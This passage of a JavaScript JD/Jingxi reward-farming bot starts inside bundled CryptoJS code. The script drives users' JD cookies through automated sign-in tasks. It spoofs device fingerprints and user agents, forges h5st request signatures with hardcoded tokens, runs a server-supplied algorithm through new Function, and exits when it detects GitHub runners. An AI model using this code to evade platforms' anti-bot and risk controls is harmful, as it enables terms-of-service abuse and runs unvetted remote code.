n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜签到-喜豆'); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let UA; +$.shareCodes = []; +$.blackInfo = {} +$.appId = 10028; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require("crypto-js") : CryptoJS; + await requestAlgo(); + await $.wait(1000); + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.commonlist = [] + $.black = false + $.sqactive = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`) + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }) + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`) + } + continue + } + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + await signhb() + await $.wait(2000) + if (!$.black) { + if ($.commonlist && $.commonlist.length) { + console.log("开始做喜豆任务") + for (let j = 0; j < $.commonlist.length && !$.black; j++) { + await dotask($.commonlist[j]); + await $.wait(2000); + } + } else { + console.log("喜豆任务已完成") + } + } else { + console.log(`此账号已黑`) + } + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }) + +// 查询信息 +function signhb() { + return new Promise((resolve) => { + $.get(taskUrl("signhb/query", "type=0&signhb_source=5&smp=&ispp=1&tk="), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} query签到 API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + const { + commontask, + sqactive + } = data + $.sqactive = sqactive + for (let i = 0; i < commontask.length; i++) { + if (commontask[i].task && commontask[i].status != 2) { + $.commonlist.push(commontask[i].task) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 任务 +function dotask(task) { + return new Promise((resolve) => { + $.get(taskUrl("signhb/dotask", `task=${task}&signhb_source=5&ispp=1&sqactive=${$.sqactive}&tk=`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} dotask API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log(`完成任务 获得${data.sendxd}喜豆`); + } else if (data.ret === 1003) { + console.log(`此账号已黑`); + $.black = true; + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl(functionId, body = '') { + let url = `` + if (body) { + url = `${JD_API_HOST}fanxiantask/${functionId}?${body}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `${JD_API_HOST}fanxiantask/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 